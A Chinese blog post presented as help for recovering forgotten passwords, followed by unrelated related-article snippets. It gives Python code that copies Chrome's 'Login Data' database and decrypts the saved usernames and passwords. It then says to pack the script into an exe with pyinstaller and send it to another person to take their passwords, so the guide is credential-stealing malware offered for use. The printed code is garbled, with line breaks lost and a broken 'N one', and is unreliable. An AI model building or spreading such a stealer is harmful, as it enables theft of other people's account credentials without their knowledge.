当你忘记网站上的密码时怎么办?Python如何快速帮你找回?

article/2025/4/20 12:09:00

前言

本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。

现如今浏览器可谓是五花八门,火狐、UC、360、QQ 这些浏览器不论美观还是所谓的安全方面都做的很符合我们需求。但如果你的工作与 IT 挂钩,无疑 Chrome 将是很多朋友的首选。当然这篇文章并不是要介绍 Chrome 浏览器的使用,首先我要讲的是 Chrome 浏览器的密码存储机制。

当你忘记网站上的密码时怎么办?Python如何快速帮你找回?

 

1.查看 Chrome 存储的密码表单

点击 Chrome 浏览器右上角,进入设置->高级->管理密码(根据浏览器版本不同,可能存在部分差异),亦或者在 Chrome 浏览器中输入 **chrome://settings/passwords** 你会看到很多已保存过的密码表单信息,当然如果你要查看密码详情,就要输入电脑的系统管理员密码,看到这里是不是觉得很简单?但如果我们能像电影里的黑客一样瞬间拿到其他电脑的密码岂不是更有趣?

当你忘记网站上的密码时怎么办?Python如何快速帮你找回?

 

2 . SQLite 在哪,又该怎么查询?

那么, Chrome 的密码是以什么方式进行存储的呢?答案就是用 “SQLite” 。首先,进入我的电脑,地址栏中输入以下代码,进入 app 的数据存储路径:

C:\Users\Administrator\AppData\Local

之后进入 chrome 浏览器的密码数据库统一地址为:

Google\Chrome\User Data\Default\Login Data

3.查看 Chrome 浏览器存储的密码

拿到了 SQLite 数据库文件,我们随便找个 sqlite 工具,就能打开这个数据库了!

当你忘记网站上的密码时怎么办?Python如何快速帮你找回?

 

打开数据库,我们看到有三张表:logins 、meta、 stats,其中 logins 中就存储着你保存的网址、用户名、密码数据,分别是: signon_realm,username_value,password_value,但问题来了 password_value 的字段看着是空的,因为那里被加密了。

CryptUnprotectData 数据可以在 win32crypt 中找到,要使用该模块,需要以下代码进行安装:

pip install pywin32

4.准备工作做好后,就开始代码环节吧~

import os
import shutil
import sqlite3
import win32cryptdb_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
print(tmp_file)
if os.path.exists(tmp_file):os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))conn.close()
os.remove(tmp_file)

通过解密,我们获取到了 Chrome 浏览器保存的用户名密码,然后保存至文本。

当你忘记网站上的密码时怎么办?Python如何快速帮你找回?

 

之后我们只需要使用 **pyinstaller -F xxx.py** ,将代码打包成 exe 发给对方,就可以在他的电脑上获取密码了!虽然这个伪黑客很简单甚至有些鸡肋,但往往在一些事情上就是因为自身的大意而导致数据的泄露,在这里也要加强自身保密意识!Chrome 浏览器保存密码虽然很爽,但记在脑子里还是最安全哟


http://chatgpt.dhexx.cn/article/P7eO8GTQ.shtml

相关文章

聊聊密码找回 · Web 安全那些事儿

大部分网站为了防止用户遗忘密码,提供了找回密码的功能。常见的找回密码方式有:邮箱找回密码、根据密码保护问题找回密码、根据手机号码找回密码等。虽然这些方式都可以找回密码,但实现方式各不相同。 其实无论是哪种密码找回方式&#xff0…

twitter_如何找回旧的Twitter网站

twitter Twitter 推特 Twitter.com was just updated with a new interface. Now a progressive web app, Twitter’s website is more similar to the mobile versions. But you don’t have to use the new one—you can get the classic Twitter website back in a few clic…

忘记网站登录密码不要慌,一招拯救你

忘记网站登录密码不要慌,一招拯救你 有些朋友可能曾经有过这样的痛苦,忘记某个网站的密码,只好找回密码,但操作比较麻烦,更难过的是可能有些网站不能找回密码就更惨,只能一遍一遍的尝试,直到。。…

网站常用邮箱找回密码流程插件页面

<!doctype html> <html> <head> <meta charset"utf-8"> <title>邮箱验证找回密码</title><link href"css/link.css" rel"stylesheet"><link href"css/layui.css" rel"stylesheet&q…

网站漏洞检测之用户密码找回网站漏洞的安全分析与利用

我们SINE安全在对网站&#xff0c;以及APP端进行网站安全检测的时候发现很多公司网站以及业务平台,APP存在着一些逻辑上的网站漏洞&#xff0c;有些简简单单的短信验证码可能就会给整个网站带来很大的经济损失&#xff0c;很简单的网站功能&#xff0c;比如用户密码找回上&…

网站忘记密码怎么找回?

网站忘记密码怎么找回? 两个方法 方法一&#xff1a; 登录数据库&#xff0c;把password 下面的这一串加密串 解密一下。我至今没这样弄过&#xff0c;原理是这样&#xff0c;但是我没找到好用的md5 解密网站。一般的都要收费的。 方法二: 在数据库重置一个简单的密码&#xf…

网站安全检测之用户密码找回网站漏洞的安全分析与利用

我们SINE安全在对网站&#xff0c;以及APP端进行网站安全检测的时候发现很多公司网站以及业务平台,APP存在着一些逻辑上的网站漏洞&#xff0c;有些简简单单的短信验证码可能就会给整个网站带来很大的经济损失&#xff0c;很简单的网站功能&#xff0c;比如用户密码找回上&…

用谷歌浏览器找回历史登陆过的网站的密码

谷歌浏览器找回历史登陆过的网站的密码 本人亲测原因&#xff1a;解决方法&#xff08;谷歌浏览器&#xff09;&#xff1a; 本人亲测 原因&#xff1a; 在做开发时&#xff0c;开发人员大多数登陆各个系统的网站时都会点“记住密码”&#xff0c;下次访问网址时就可以免登陆…

找回消失的网站网页

2019独角兽企业重金招聘Python工程师标准>>> Wayback Machine 从1996年以来&#xff0c;就在给整个互联网做备份&#xff0c;现在一共累计了1500亿网页。使用方法很简单&#xff1a;到网页上“Take me back”旁边的那个网址框输入网址&#xff0c;按钮&#xff0c;…

Chrome浏览器查看、找回保存的网站账户密码

1. 问题&#xff1a; 使用Google的Chrome浏览器&#xff0c;登录谷歌账号后&#xff0c;可以保存自己在各个网站的账号和密码&#xff0c;就不需要每次登录时都重新输入。 然而有时候我们清理垃圾时会把密码清除掉&#xff0c;这时如何找回呢&#xff1f; 2.方法 其实即使电…

Go语言学习笔记

Go学习笔记 Go学习笔记 Go学习笔记Go语言基础语法行分隔行 一、变量1.1 变量的声明1.2 初始化变量1.4 多个变量同时赋值1.5 匿名变量(_) 二、常量三、基本数据类型3.1 整型3.2 浮点型3.3 布尔型3.4 字符串3.4.1 字符串常见转义符3.4.2 反引号定义多行字符串 3.5 字符 四、数据类…

【Mark】计算机组成原理

Contents 计算机系统概论&#xff08;贯穿本书&#xff09;计算机的发展及应用&#xff08;非重点&#xff09;系统总线存储器高速缓冲存储器 计算机的运算方法指令系统 链接 【超详细】计算机组成原理总结及思维导图. 链接 计算机组成原理知识点. 链接 计算机组成原理----思维…

54_集合类库(上)

集合类库&#xff08;上&#xff09; 集合的概述&#xff08;重点&#xff09; 集合的由来 当需要在Java程序中记录单个数据内容时&#xff0c;则声明一个变量&#xff0c;本质就是在内存中申请一个小格子&#xff0c;把数据塞进去。当需要在Java程序中记录多个类型相同的数据内…

[车联网安全自学篇] Android安全之ARM汇编指令集手册「精简汇总版」

也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大 少走了弯路,也就错过了风景,无论如何,感谢经历 0x01 ARM 指令 1.1 ARM架构的CPU简介 PC端领域CPU的老大是Intel,而移动设备CPU老大就是ARM。不同的cpu架构对应不同的指令集…

论文的排版技巧

在任意中间一页开始插入页码 1.在要插入页码的前一页&#xff0c;插入“分页符”&#xff0c;“插入”-->“分隔符”&#xff0c;选择“分节符类型”中的下一页&#xff0c;如图。 2.在要插入页码的页面&#xff0c;选择“视图”-->“页眉与页角” 去掉“链接到前一个的标…

软件开发实训(720科技)――第五课:前端css规范

一、文件规范 1、文件均归档至约定的目录中。 具体要求通过豆瓣的CSS规范进行讲解&#xff1a; 所有的CSS分为两大类&#xff1a;通用类和业务类。通用的CSS文件&#xff0c;放在如下目录中&#xff1a; 基本样式库 /css/core 通用UI元素样式库 /css/lib JS组件相关样式库 …

word 参考文献插入整理

参考文献插入 方法一&#xff1a;使用尾注插入参考文献 1.1. 以尾注的方式插入第一个参考文献 将光标定位于word文档中将要插入参考文献的位置&#xff0c;按“插入/引用/脚注和尾注”。出现一菜单&#xff0c;选择“尾注”&#xff0c;“文档结尾”&#xff0c;编号格式为“1,…

Word 2010如何对论文中参考文献进行标注

Word 2010如何对论文中参考文献进行标注 1.参考文献在论文中进行标注1.1添加标注1.2修改标注“1→[1]” 2.删除参考文献留下的横线3.参考文献对齐参考 在文章中标注参考文献&#xff0c;之前看别人论文进行的参考文献引文标注&#xff0c;感觉特别高级&#xff0c;这项技能早晚…

WORD 常用操作技巧

word2010首页、目录、正文页码设置方法 2013-07-18 12:11:05| 分类&#xff1a; 实用技巧|举报|字号 订阅 引文来源&#xff1a;http://www.hangxyz.com/display-different-page-number-in-word2010.html 欲在线预览或下载完整教程请访问SkyDrive页面 在用Word编辑说明书、计…

利用Word实现交叉引用或引用尾注添加参考文献图解

from&#xff1a;http://www.office68.com/word/word-reference-add.html 1 利用“交叉引用”加参考文献 1 输入参考文献&#xff0c;如下图 2 选中所有文献&#xff0c;为所选文献统一编号&#xff0c;如下图 3 在正文中需要添加参考文献处添加交叉引用&#xff0c;如下图 4相…